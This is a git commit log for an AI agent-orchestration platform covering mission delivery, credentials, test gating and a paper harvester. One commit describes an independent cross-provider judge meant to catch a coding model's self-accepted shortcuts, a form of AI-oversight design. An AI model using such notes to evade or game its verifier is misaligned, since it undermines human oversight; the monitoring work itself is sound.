4358964c05196d9c5917e5ff3ff21de6e1fd1d52
53
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Omar SobhandClaude Opus 5
|
4358964c05 |
fix(skills): every team-template skill binding now resolves
55 of 85 role skill bindings pointed at skills that were never authored,
so 10 of 11 team templates bound a smaller context bundle than their role
prompts assumed. Three roles bound nothing at all (gpu.bench_engineer,
threejs.shader_author, threejs.perf_engineer) while their prompts described
procedures they had no way to read.
The loader comment at team_template_loader.rs:167 already diagnosed this —
snake_case slugs in TOML against kebab-case skill files — and it was
half-fixed: the kebab names were corrected, the snake_case ones left.
It was invisible because both existing tests assert authored ⊆ referenced
(30/30, green) and the second explicitly declines to check the other
direction. So the failing half was the half nobody asserted.
Resolved every name by one of three explicit choices:
- 23 skills authored where the role genuinely needed the procedure
(gpu, threejs, research, analysis, frontend, mobile, backend, platform)
- renames onto authored skills where one existed in substance, including
the four-near-duplicate cases that collapse onto one real skill
- 22 aspirational references deleted — a binding an agent cannot read is
a promise, not a capability
Two tests now hold it. The unit test checks referenced ⊆ authored against
the files. The new integration test runs both loaders in boot order and
asserts the bindings survive the trip through the database, which is a
different question: resolution goes through skills_catalog rows, so a skill
file that exists but fails to ingest still leaves the role empty.
Negative controls: the unit test failed naming all 55; the integration test
fails naming the exact role when one name is reverted.
threejs.shader_author and .perf_engineer gained a second and third skill
after the collapse — pin_in_context pins idx < 2, so a role left with one
skill silently pins less than the policy intends.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
55b16f25c8 |
fix(podcast): the episode played for six seconds
Concatenating whole MP3 files does not make a longer MP3. Each TTS clip is a
standalone file: a small ID3v2 tag, then a first frame carrying an `Info`/`Xing`
VBR header that declares THAT CLIP's frame count. Joined raw, a player reads
clip one's header, believes the file is that long, and stops. The 6.1 MB
"episode" played for 6.9 seconds.
Caught by the operator listening to it. I had verified the byte count, the ID3
magic and a >100 KB size floor — every proxy for "this is audio" — and never
that it plays. The assertion I needed was duration, and none of the ones I wrote
could fail on this bug.
Measured on two real clips of 4.86s and 4.68s:
raw concat -> 4.86s only clip one plays
strip second clip's ID3 -> 4.86s
strip both clips' ID3 -> 4.86s the tag was never the problem
strip ID3 *and* the Info frame -> 9.53s correct
The ID3 tag is ~45 bytes and harmless. The header FRAME is what lies, and my
first attempt at a fix — scanning the joined file for `ID3` — was worse than
useless: it matched those bytes inside audio data and silently deleted half the
stream.
`strip_container` removes both from every clip, leaving pure frames a player
times from the stream itself. Real ElevenLabs output is committed as a fixture
so the test pins the actual wire format, not an approximation of it, and a
junk-input case proves a malformed clip fails the render rather than panicking.
Re-rendered the same script: 380.8s, up from 6.9s.
361 tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
a02e0cba69 |
feat(missions): Continuous Research harvests at launch, and cards launch by clicking
The card shipped in
|
||
|
Omar SobhandClaude Opus 5
|
f7f3dfe495 |
feat(fleet): GLM as a real microVM backend, and per-role models for claws
Three threads, all of which end at the same place: a mission whose verifier does
not share a model with the coder it reviews.
**GLM has a credential contract now.** `microvm_credential_for` returned one env
var name, which quietly assumed every provider reads its secret from the same
place Anthropic does. It returns a `Credential { source, target }` instead —
z.ai's key lives in the server's `ZAI_API_KEY` and Claude Code reads it as
`ANTHROPIC_AUTH_TOKEN`, and collapsing those two names is what forces a guess at
the other end. A wrong guess here sends one provider's credential to another
provider's endpoint.
`images/agent-glm` is the same CLI at the same pinned version as `agent-claude`
with `ANTHROPIC_BASE_URL` baked in. The split is deliberate: the ENDPOINT is a
property of the image, the CREDENTIAL is a property of the turn. That makes the
dangerous mix-up unrepresentable — a GLM VM cannot be handed an Anthropic
subscription token, and a claude VM cannot be pointed at z.ai. Asserted both
ways, because "the GLM VM must not carry CLAUDE_CODE_OAUTH_TOKEN" is the
property that costs a credential if it ever stops holding.
Kimi stays refused. `KIMI_API_KEY` is set and Moonshot serves an
Anthropic-compatible API, but I have not verified its base URL against the
running service, and this function is precisely where guessing a URL is
expensive. It becomes an arm the day someone measures it.
`api.z.ai` joins the node's default egress allow-list. A default that cannot
run the images we ship is a trap rather than a policy — the alternative is an
operator discovering it as a hung agent with no model access.
**Per-role models for claws** (migration 0071). `template_roles` had no model
column, so `mint_team_from_template` bound every role of every mission team to
one literal — a template whose whole point is an independent reviewer minted a
reviewer sharing a model with the coder. A role may now name its own; roles that
say nothing still take the mint's default, so every template written before this
behaves exactly as it did. The literal is now that default rather than a
hardcode.
**A harness scenario for the roster flow.** `verify-mission-delivery.sh roster`
runs the whole Slice 5 loop — planner proposes, human approves, mission runs —
and asserts the roster LANDED on the mission row rather than trusting the API's
answer. That distinction is not theoretical: the first live approval returned an
error while leaving the proposal marked approved.
Built and proven on tank ahead of the deploy: `clawmates/agent-glm:dev` reports
`2.1.223` and `BASE=https://api.z.ai/api/anthropic`, and
`fc-build-rootfs.sh … glm 8G` boots a VM from it that has git, can write
/mission, and answers `claude --version`.
533 tests pass, clippy clean. Migration 0071.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
1797669296 |
feat(missions): Slice 5 — let a model size the mission's team
`routes/planner.rs` has had Opus proposing rosters since the Master Planner
shipped, and none of it ever reached a mission: the proposal lived in React state
and died with the tab. A mission's shape came from a team template instead —
fixed roles, and every claw minted `claude-sonnet-5` from a literal in
`mint_team_from_template`. That literal is why no mission has ever run more than
one provider.
A roster is `(topology_kind, [(role, backend)])`, which is exactly what the
composed executor already consumes: `Roster::graph` builds a `TopologyGraph` with
the backend in `attrs`, and `MicroVmTurnExecutor` reads `attrs["backend"]` per
node. So a verifier on another provider's rootfs stops being a bolt-on and
becomes a graph node — the correlated-failure break the independent judge exists
for, one layer down.
Three verbs, and the split is the point. **suggest** asks the model and persists
the answer, changing nothing. **decide** approves (writes `config.roster` and
switches the mission to the composed engine) or rejects. A proposal is never
applied on arrival: a model sizing a team is a suggestion about how many VMs to
boot, and this codebase treats model output that costs money as evidence for a
decision, not the decision.
Fail-closed at every seam, because each of these otherwise surfaces much later
and much more expensively:
- a backend no ONLINE node can boot is refused when PROPOSED, naming the ones
the fleet actually has. Placement would refuse it too — at launch, after the
roster was approved and someone believed the mission would run. The model is
handed that same list in its prompt, so the usual case never arises.
- an invented `topology_kind` is refused, not defaulted. `parse_topology_kind`
defaults to hub-spoke, which is right for a template we wrote and wrong for a
string a model just produced: running a `pipeline` proposal as a hub-and-spoke
changes what every node sees and nothing would say so.
- the roster is validated BEFORE it is stored, so a stored proposal is always
one that could be approved; and again at approval, against the fleet as it is
then — a node can go offline in between.
- `MAX_MEMBERS = 6`. Each member is a whole VM, not a subagent, and a model
asked to size a team proposes twelve happily.
Two properties live in SQL rather than in the handler: at most one approved
roster per mission (partial unique index — two approved rosters are two answers
to "what shape is this mission", and the executor reads one field), and
decide-once (`WHERE status = 'proposed'`, so a double-clicked approve claims
nothing the second time). Both tested against a real database, including that the
second approval is refused by Postgres rather than merely losing a race.
NEGATIVE CONTROL, run rather than assumed: with the roster preference removed
from `composed_graph`, `an_approved_roster_outranks_the_template` FAILS — 3 nodes
from the template instead of the roster's 2. A stored roster that is silently
ignored at launch is precisely the shape this project keeps paying for.
Not closed: per-role models for CLAWS. `template_roles` has no model column, so a
ZeroClaw team still mints one model for every role. The literal is now a named
constant that says so and points at the roster path, rather than sitting inline
where nobody reads it.
527 tests pass, clippy clean. Migration 0070. Not yet exercised against the
deployed stack — the route has never been called with a live model.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
1d554396f4 |
fix(delivery): four failures from the #55 trace — auth, prompts, truncation, retry
All four were surfaced while tracing #55 and left open. Each one on its own is
small; together they are why a two-line git rejection took hours to read.
**1. `with_ambient_auth` failed open.** It matched one literal prefix,
`https://git.redclaw.dev/`, and returned the URL unchanged for everything else
with no log line. An `http://` remote, an explicit port, a different case in the
host, an ssh remote, a URL that already carried userinfo — all came back
unauthenticated and looked identical to success. It now returns `Authed`, which
carries the URL AND why no credential reached it, and recognises the forge in
every shape a remote can be written (host parsed with userinfo stripped BEFORE
the port, or `oauth2:token@host` reports its username as the host — the first
version of this function did exactly that and failed its own test).
**2. Nothing set `GIT_TERMINAL_PROMPT=0`.** So a credential-less URL did not
fail — git opened `/dev/tty`, and in a server container that surfaces as
`No such device or address`, several layers from the missing token. Now set on
every git invocation that can reach the network. And `push_url_for` refuses
outright when the URL is on OUR forge and unauthenticated: that push cannot
succeed, and letting it proceed only buys a symptom that looks like something
else.
**3. The truncation fix went to the wrong path.**
|
||
|
Omar Sobh
|
8796fbbcbb |
feat(evaluator): Slice 2 — an independent judge, from a different provider, with the same teeth
Claude writes the code and Claude judges it. That is a correlated failure: the
model that talked itself into a shortcut is the one disposed to accept it, and it
is the structural cause of the "early victory" failure Anthropic documents and of
our own Goodhart incident.
`glm` and `kimi` are both already registered in production, so the fix needed no
new credential path.
THE UNLOCK: `judge_with_tools` took `&AnthropicProvider`, but `LlmProvider` is a
single method — `stream(ChatRequest)` — and the loop only ever used that. The
concrete type was incidental. Widening it to `&dyn LlmProvider` means a
cross-provider judge runs the SAME allow-listed command loop. Before, independence
and real verification were mutually exclusive: the tool loop existed only on the
subscription path and every other route "judged claims only", so choosing an
independent judge meant giving up the checks that make a verdict evidence. GLM is
registered in anthropic format, so tool calling reaches it unchanged.
`CLAWMATES_VALIDATOR_MODEL` (e.g. `glm:glm-4.7`) selects it. Three refusals, each
protecting the claim the field makes:
- a spec in the implementer's own family is rejected, not used — `opus` judging
`sonnet` is not independence, they share a lineage and most failure modes
- a spec naming a provider this deployment never registered is rejected.
`Runtime::resolve_provider` silently falls back to the DEFAULT provider when
the registry has no such name, which would hand back Claude while the caller
believed it had GLM. Detectable because the returned model keeps its `name:`
prefix, so it is checked rather than trusted.
- an independent judge that FAILS does not fall through to the house judge. A
verdict quietly produced by a same-family model would claim a property it does
not have. The pass stays unmet, says why, and the next sweep retries.
`Verdict.independent` records it, `#[serde(default)]` so verdicts stored before
this field read back as not independent — which is what they were. An unrecognised
model family resolves to "unknown", never to ours: guessing would report
independence nobody established.
474 tests pass, clippy clean. Not yet enabled in production — the env var is unset,
so behaviour is identical until it is set deliberately.
|
||
|
Omar SobhandClaude Opus 5
|
4ff4e6f7ee |
fix(missions): a root-owned COMMIT_EDITMSG must not block delivery
Mission 019fcd0c produced correct work — a reviewed, tested function plus a REVIEW.md quoting a real cargo test summary — and delivered none of it: git commit → exit 128: could not open '.git/COMMIT_EDITMSG': Permission denied The agent ran `git commit` itself inside the mission container (as root), leaving that file owned by root at 0644. core.sharedRepository covers objects and refs — .git/index lands at 0666, which is why commits work at all — but not COMMIT_EDITMSG, which git writes with the default umask. Unlinking works where overwriting does not: removing a file needs write permission on the DIRECTORY, and .git/ is owned by the server. Silent on failure by design, so the commit reports the real error rather than this speculative cleanup. Third distinct instance of the same uid-split class (objects, then the capture base, now this). The pattern holds: the checkout is one directory written by two users, and each new file git touches is a new opportunity. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
ad89ef94cd |
feat(library): attribute a run to a mission, and prove what it contributed
`corpus_items.mission_id` has existed since the table landed and nothing could populate it. `POST /api/library/runs` now accepts `missionId`, which is the seam the wizard needs: a mission-driven run is the same run, tagged. `corpus::contributed()` answers the question a continuous mission has to be able to answer — did THIS run add anything new. Because `record` never reassigns mission_id on conflict, the mission that first found a source keeps the credit, so a rerun cannot inflate its own count by re-recording what an earlier run already held. The test asserts exactly that: two missions see the same paper, the finder reports 1 and the rerun reports 0. This is the check the 0030-0044 generation of continuous research did not have. It could run weekly forever and every run looked like success. The test also earned its FK: the first version attributed to a bare UUID and the database refused it. Attribution to a mission that does not exist is not attribution, so the test now seeds real mission rows. 400 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
9de2cf34e4 |
feat(auto-merge): merge additive branches, refuse everything else
Closes the branch pile-up: a catalogue branch that only adds notes now merges into main by itself, so the work is actually in the vault rather than waiting in a branch nobody opened. Additive-only is measured from the diff, not assumed from the mission type. Three conditions, all required: the type declares additive_only, the run verified, and `git diff --name-status base...branch` contains only A entries. A research harvest that somehow rewrote a hand-written note is refused by the same check that lets its new notes through — which is the case the test pins down, asserting README.md on main is byte-identical afterwards. Renames and deletes count as non-additive. A rename is a delete plus an add and the delete half can destroy hand-written work. Unknown merge_policy values fail closed to Never. A typo must not grant auto-merge. The diff is taken against FETCH_HEAD, freshly fetched, using `...` so an unrelated commit landing on main meanwhile is not misread as ours. A conflicted merge aborts and leaves the branch for a human rather than wedging the checkout for the next run. merge_reason is always populated and surfaced in the API: a branch that quietly did not merge is indistinguishable from one never delivered. 399 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
09c6496725 |
feat(library): clone the vault, harvest our topics, push the catalogue
Completes the loop: the notes now land in the real vault. Topics come from what the project is actually working on — papers/dynamic-agentic- topologies.md (topology search, ADAS/Darwin-Godel/SwarmAgentic) plus the two problems this week ran into, verifying what an agent did and giving a long-running agent memory of what it covered. Never pushes to main. The vault is a live Obsidian vault a human edits and syncs; pushing to main races that sync and can lose hand-written work. Every run lands on its own branch for a human to merge, the same rule the mission delivery path was validated 20/20 under. PDFs are NOT committed. A few hundred papers is gigabytes and would make the vault painful to clone and slow to open, so they stay on the blob store shelf and the note carries the key. My own test caught me repeating this week's branch-collision bug: I named branches from the HEAD of a UUIDv7, which is a 48-bit timestamp, so two runs in the same millisecond produce the identical name — exactly what hit mission 019fc42b. Fixed by taking the tail. The test now loops 100 ids instead of sampling two (a one-shot check passes by luck whenever the millisecond ticks between calls) and additionally asserts the head-based scheme DOES collide, so it cannot rot into a no-op. Live against the real vault: 10 candidates, 1 already held, 9 shelved, 0 failed branch clawmates/library-019fc82292e8, pushed 9 notes verified on the forge, 9 PDFs verified %PDF on the shelf (the "1 already held" is cross-topic dedupe inside a single run) Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
30eaa50c50 |
feat(harvest): one run — find, skip what we hold, shelve the rest
Turns the parts into a job. Order is the point: the checkmark list is consulted BEFORE anything downloads. Checking afterwards would still dedupe the catalogue while re-downloading every paper we already have, every week, forever. Two properties the tests pin down, both learned the hard way this week: - A quiet week is not a failure. `shelved == 0` with no errors is a healthy run against a mature library; `shelved == 0` with errors is broken. Harvest::healthy() and ::added_anything() keep those apart rather than collapsing them into one ambiguous "did nothing". - A failed download leaves the paper UNSEEN. Checking it off before the PDF is safely shelved would mean one transient network error retires that paper permanently. The checkmark is written last, after the bytes and the note are both on disk. The skip test gives every candidate a pdf_url pointing at a closed port, so if the skip ever regresses the test fails loudly instead of quietly re-fetching. Live end-to-end against arXiv, run twice: RUN1 3 candidates, 0 already held, 3 shelved, 0 failed RUN2 3 candidates, 3 already held, 0 shelved, 0 failed Library<'_> groups the five values that always describe one library; passing them loose is how a run shelves into one place and catalogues into another (also silences clippy::too_many_arguments honestly rather than by allow). 391 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
e4a395b72e |
feat(papers): find papers on arXiv, shelve the PDF, catalogue the note
Corrects a misread of the design. I had built this as "read the vault to find papers"; the vault is the CARD CATALOGUE, not the source. Papers are found on arXiv, the PDF is pulled down and shelved in our own library, and a note recording it goes in the vault. Three parts, and which is which matters: arXiv — where papers are found blob store — the shelf; the PDF lives there (cm-files, local + S3) the vault — the catalogue; one note per paper, pointing at the shelf The checkmark list (corpus, 0064) is what makes this continuous rather than a job that redoes itself every week — the failure that killed the previous attempt (0030-0044, dropped in 0053). The load-bearing detail: every catalogue note carries `source_id: arxiv:NNNN.NNNNN` in frontmatter, which is exactly the key corpus::parse_note reads. So the checkmark list is rebuildable FROM the vault. If the database were lost, re-indexing restores what we have — the catalogue is authoritative, the index is derived. A test asserts that round trip rather than trusting the two halves to agree. Version suffixes are stripped (2401.12345v3 -> 2401.12345) or a weekly job re-downloads a paper every time authors post a revision. Fetches are rejected unless the bytes start with %PDF: arXiv serves an HTML holding page while a PDF renders, and shelving that leaves a file that looks present and is unreadable. Verified against live arXiv, not fixtures: arxiv:2607.29678 TokTier: Exact Stateful Tokenization for Agentic LLM… arxiv:2607.29677 ExtractBench: A Benchmark for Schema-Guided Enterpri… arxiv:2607.29658 Reusing Past Repairs Through Hierarchical Trajectory… pdf: 1,361,770 bytes, %PDF verified 388 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
6e5ccc25a6 |
feat(corpus): record what a continuous mission has already covered
Slice 2 of the adopt-or-build plan. A recurring mission's hard problem is
not running the agent — that is 23 seconds — it is knowing what it did
last time. This repository already tried continuous research once:
migrations 0030-0044 built research_topics/loops, 0053 dropped them all,
and the reason they could not survive is that research_topics carried a
status lifecycle but no seen-set. It could run forever and never know
what it had covered.
Two kinds of row, because the real vault forced it. The plan assumed
notes carry arxiv:/doi:/url: frontmatter. Measured against the actual
valhalla-vault: 416 notes, 145 with frontmatter, and ZERO with any of
those keys — the dominant keys are repo-sync metadata (node, org, gitea)
and course fields (presenter, session). An ingester keyed only on
external identity would have indexed nothing, which is the same shape of
failure as everything else found this week. So `note` rows record
coverage (keyed by path) and `source` rows record consumption (keyed by
natural id); a continuous mission needs both.
Two decisions the data forced:
- `source:` is deliberately NOT an identity key. The vault uses it for
local paths of course material (/Users/quantum/Downloads/...), which is
provenance, not citable identity. Accepting it would fill the seen-set
with 25 rows keyed on a laptop path.
- The hash covers the body, not the whole file. Repo-sync notes rewrite
updated:/size_kb: on every sync without the prose changing; hashing the
file would report 103 phantom edits per run and make "unchanged"
meaningless.
Authoritative in Postgres rather than ZeroClaw memory, per the Slice 1
spike: memory is agent-scoped and mission agents are ephemeral
claw_<uuid> aliases (~100 already present). A seen-set that disappears
with the agent that wrote it is not a seen-set. The spike did find that
POST /api/memory upserts by key, so mirroring content there later would
inherit idempotence for free if keyed by source_id.
Verified against the live 416-note vault, not a fixture:
PASS1 { scanned: 416, inserted: 416, updated: 0, unchanged: 0 }
PASS2 { scanned: 416, inserted: 0, updated: 0, unchanged: 416 }
382 tests, clippy clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
f7e336ff5f |
fix(missions): make an unrunnable test suite legible, and check the runtime at boot
Two changes against the same defect: the platform could not tell a missing capability from a legitimate negative result. verify_tests returned Option<bool>, collapsing four outcomes into None: no suite found, docker unreachable, exec failed, and no exit status. When clawmates-runtime shipped without cargo, every on_green_tests phase returned None and landed on -wip — identical to the reading for "this repo has no tests", which is the conclusion I drew and reported. The gate was correct throughout; it simply could not say why it was unproven. TestOutcome now names the four cases. Gating is unchanged (only Passed clears, unproven is never a pass), and tests_verified keeps its tri-state meaning for existing readers. tests_status and tests_detail are new, so an artifact distinguishes no_suite from could_not_run, and a CouldNotRun is logged as the infrastructure fault it is rather than passing quietly. runtime_preflight probes the runtime container at boot for every tool the platform invokes inside it and names what each absence disables. This is the check that was missing: the Dockerfile gained a toolchain, the image was never built, gw-04 ran the old one for days, and the only symptoms were an ungated suite and a security scan that scanned nothing. A report, not a gate — a missing scanner should stop us believing a scan, not stop the server. Its test guards the probes themselves, since a typo would produce a permanent false "missing" and train operators to ignore it. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
9bdc3cd89b |
fix(missions): stop titling commits "phase phase work"
Mission 019fc4e0 pushed "clawmates: phase phase work" — the iteration
marker was interpolated into a slot whose default already said "phase".
A rerun read correctly ("pass 2 phase work"), so only the common case was
wrong. Cosmetic, but it lands in the operator's git history under their
own name now that delivery commits as them.
Subject is now "clawmates: phase work" and "clawmates: phase work
(pass 2)". The test covers both, since the bug lived only in the branch
the previous shape did not exercise.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
ddab8e35f5 |
feat(missions): commit as the operator, overridable per deployment
Delivery commits now carry "Omar Sobh <[email protected]>" by default, so pushed branches associate with the operator's forge account the way their own commits do. CLAWMATES_COMMIT_NAME / CLAWMATES_COMMIT_EMAIL override it — a shared instance wants a bot identity, not a person's. This is attribution, not the fix. What made 019fc450's phase fail was the *absence* of any identity: the server container has none of its own, so git commit exits 128 regardless of which name would have been used. That was fixed in 25d9805; this only changes the value. The push credential is GITEA_TOKEN throughout and is untouched by any of it. Since the author line now names a person, the commit body says plainly that agents authored the work — otherwise autonomous commits would be indistinguishable from hand-written ones in git log. Also fixes 13 stray spaces that a string continuation had baked into every message body. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
25d9805806 |
fix(missions): commit under the pipeline's own git identity
Mission 019fc450 lost its first phase to: git commit → exit 128: Author identity unknown The server container has no git identity — `git config --global user.email` exits 1 — so any commit fails unless one is supplied. This is the third consecutive failure whose trigger was agent behaviour rather than our code. Earlier missions committed only because an agent had happened to run `git config user.email` in the checkout, leaving a local identity the server inherited. Alongside the object-permission split and the reset, the pattern is the same: delivery depended on incidental side effects of what an agent chose to do, so identical missions succeeded or failed for reasons invisible in our code. Supplied via GIT_AUTHOR_*/GIT_COMMITTER_* env on every git call, which overrides config without a leaked string per invocation and names the committer as the pipeline. Agents' own commits keep the identity they set. The test asserts the identity *overrides* an existing local config rather than trying to unset the developer's global — an override necessarily also applies when config is absent, and it does not race parallel tests. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
5b53705c97 |
fix(missions): let the server and the agent share one git checkout
Mission 019fc437 lost both phases' work to:
git add → exit 128: insufficient permission for adding an object
to repository database .git/objects
cm-api runs as uid 65532; the mission runtime container runs as root;
they share one bind-mounted checkout. Git's .git/objects/xx/ fan-out
directories inherit the ownership of whoever creates them, so an agent
that writes objects first locks the server out of those directories.
The failure is intermittent, which is why the previous run looked clean.
Mission 019fc42b's agents committed their own work, so the blobs already
existed and the server's `git add` never had to write one. Same template,
different agent behaviour, opposite outcome.
`core.sharedRepository` is git's own mechanism for this: objects and refs
are created group- and world-writable, and both parties read the setting
from the shared .git/config. It grants the agent nothing — it is already
root over the whole checkout — and unblocks the server, which was the
party being refused. Applied on clone and on checkout reuse.
Two supporting changes. The artifact now records `commit_error`: this
failure surfaced as `branch: null, push_error: null`, indistinguishable
from a phase that never had work to commit, with the reason only in host
stderr. And the test seeder now calls the production setup function
instead of reimplementing it — building the checkout by hand is what let
a clone-path defect stay invisible to fourteen tests.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
8bad869248 |
fix(missions): give each phase its own task and its own capture base
The first push run against a scratch repo (mission 019fc42b) delivered two branches correctly but exposed two bugs behind them. Per-phase instructions were inert. `phase_task_text` took only (kind, title, description), so `mission_phases.config.task` was accepted by the API, stored, and read by nothing. Every phase of a mission received byte-identical text differing only by the kind directive — so both coding phases did the whole mission instead of their slice, producing the same two files. The task now reaches the agent as a trailing THIS PHASE'S TASK block, scoped against the shared brief. The capture base never advanced. `.git/clawmates-base` is written once at clone time, so phase two diffed against the original clone point and reported the union of both phases' files as its own. It now moves to each phase's committed head after the patch is on disk; the pushed branch stays cumulative because it is built from HEAD. Both regression tests were confirmed to fail with their fix disabled. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
e2871c4361 |
feat(missions): publish the mission branch, gated by commit_policy
Completes delivery. A phase's work is now captured, committed, gated and pushed — in that order, so every failure costs strictly less than the one before it. Publishing is last for a reason. By the time it runs the patch is on disk, the artifact is registered and the work is on a local branch, so a rejected ref, a rotated token or an unreachable forge costs a push and nothing else. A test pushes at a path that does not exist and asserts the commit is still there afterwards. The gate decides the branch name, never whether the work survives: - green, or policy `always` → `clawmates/mission-<m8>-<p8>` - red / unrunnable / no suite → `…-wip` - `on_reviewer_approval` → `…-review` Both land on the forge. A human can inspect, fix and re-push a branch; nobody can recover work discarded for failing a test. Deleting a red branch reproduces the old behaviour on purpose rather than by accident. `verify_tests` runs the project's own suite through the runtime container and returns `Option<bool>` — `None` for "could not establish", which the gate treats as unproven. An unreadable exit status is not a pass. That is the same fail-closed stance as the phase evaluator, and it is here because this tranche has now found four separate things reporting success while doing nothing. Never force-push. A rejected update is reported and left alone: the remote ref belongs to whoever set it, and overwriting it to make delivery look tidy is how a mission eats someone else's commit. The push URL is built fresh from the repo row and the ambient token, not read from `.git/config` — which no longer carries credentials, since agents run as root in a container that mounts the checkout. Tests push to a real `git init --bare` remote and assert the ref and its content actually arrived. A mock would have accepted anything. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
3ea288dbb5 |
fix(missions): every phase of a mission shared one branch
`branch_name` took `[..8]` of both the mission and the phase id. Both are
UUIDv7, which leads with a 48-bit timestamp, so ids minted in the same
millisecond — which is exactly what happens when a mission inserts its phases
in one transaction — share their leading hex. Production produced:
clawmates/mission-019fc40e-019fc40e
for both the research and the coding phase. Each phase's commit moved the ref
the previous one had just set, so a two-phase mission ended with one branch
and the earlier phase's work reachable only by sha.
The segments now come from opposite ends: the mission keeps its time-ordered
prefix so branches group and sort usefully, and the phase contributes its
random tail so siblings cannot collide.
The existing test missed this because it compared iteration 0 against
iteration 1 of the *same* phase, where the `-i2` suffix guaranteed a
difference. The new test asserts the precondition explicitly — two v7 ids
minted together do share leading hex — and then that their branches differ
anyway.
Also adds the `commit_policy` gate, which three workflow recipes have declared
since they were written with nothing reading it. Two properties it must have:
a failed gate redirects work to `<branch>-wip` rather than discarding it, and
an unrunnable or undiscoverable test suite counts as unproven, never as green.
`discover_test_command` returns None for a `package.json` with no test script,
because `npm test` exits non-zero for a missing script and would read as a red
suite rather than an absent one. Not yet wired to publishing.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
ca1fd46e08 |
feat(missions): commit captured work to a branch of its own
Second half of delivery, minus the push. After the patch is on disk and the artifact registered, the phase's work is committed onto `clawmates/mission-<mission8>-<phase8>`, with `-i<N>` for re-runs so a second pass cannot collide with the first. Three rules hold throughout: - Never the default branch. The name is derived from the mission and phase, so a mission can only ever add a ref nobody else owns. - Never force. A rejected update gets reported, not overwritten. - The same exclusions as capture. What was too noisy for a patch is too noisy for someone's history — build output, vendored trees, and the workaround files agents write when infrastructure fights them. A test drops a 50 KB binary in `target/` and a `.gitconfig_temp` beside the real change and asserts neither is committed. Ordering is deliberate: commit runs *after* capture, and a commit failure is logged without failing the capture. The patch is the guarantee; the branch is the convenience on top. The branch is created even when there is nothing to stage, because agents often commit their own work — `rust_sdlc` has a committer role — and that commit is unreachable once the checkout is reaped unless a ref points at it. One test changed meaning rather than breaking: it asserted capture left the working tree untouched, which was correct while capture stood alone. Capture now commits, so it asserts the new invariant — work on a namespaced branch, a clean tree, and the created file present in the commit. Push is still deliberately absent. Everything here is local, so a bug costs a retry rather than reaching a remote. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
409ca65ee7 |
fix(missions): capture from the clone point, and let agents create files
Two defects found by running a real coding mission (019fc372) rather than a test. Both made a coding phase look like it produced nothing. **Capture measured the wrong baseline.** It diffed the working tree against HEAD, which is correct only while work stays uncommitted. `rust_sdlc` has a *committer* role, so committing is the intended path — meaning a mission that did its job properly leaves a clean tree and captured nothing. That is exactly what happened: the agent created `DELIVERY_PROBE.md`, committed it as `aa3be95`, and the artifact recorded `empty: true` beside a commit that plainly contained the work. `mission_workspace` now records the clone point in `.git/clawmates-base` (in `.git/`, so it travels with the checkout, stays invisible to the repository, and cannot be reached by an agent through its pinned workspace), refreshed whenever `fetch_and_reset` moves HEAD. Capture diffs from there, covering committed, staged and unstaged changes in one pass. Checkouts predating the marker fall back to HEAD and say so via `base_recorded: false`. **Agents could not create files.** `coding_readwrite` granted `file_edit` but not `file_write`. `file_edit` replaces an exact existing string and rejects an empty `old_string`, so creating a new file was impossible. The mission transcript is unambiguous: "the tool rejected empty old_string... the shell is restricted", after which the agent worked around it through `shell`. The comment above that profile has claimed it grants file_write since the day it was written; the list never contained it. Also broadens capture from coding/benchmark/security_scan to every phase kind of a repo-bearing mission: `phase_task_text` tells research phases to "save findings under /mission/repo/research/", so filtering by kind would have discarded every research brief such a mission produced. Regression tests cover committed-only and committed-plus-uncommitted work against a real git repo. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
716ee9a304 |
feat(missions): capture a coding phase's diff to durable storage
First half of mission delivery: the work is captured before anything is published. A coding mission has until now produced nothing durable — the checkout is deleted thirty minutes after completion and `register_artifact` had no callers at all, so the only surviving output was an LLM narrative of what the agents said they did. `capture_phase_diff` writes `diff.patch`, `diffstat.txt` and `delivery.json` under `<missions_root>/_outputs/<mission>/<phase>/` and registers a `code_diff` artifact. That directory is a *sibling* of the per-mission directories the sweeper removes, and outside every bind mount handed to a container — so teardown cannot take the record with it and agents cannot edit their own evidence. Three details that decide whether this works at all: - `git add --intent-to-add` before diffing. Untracked files are invisible to `git diff`, and a phase that only *creates* files is the likeliest shape for generated code — silently capturing an empty patch would be the worst possible failure. The index is reset afterwards so capture leaves the tree exactly as the agents left it, which the test asserts. - Build output is excluded by pathspec (`target`, `node_modules`, `.venv`, …). A phase that ran `cargo build` leaves a directory larger than the repo. - An empty diff is still an artifact, flagged `empty: true`. "This coding phase wrote no code" is currently invisible to an operator and is worth saying out loud. `RegisterArtifact` gains `metadata`, which the column has had since 0047 and nothing 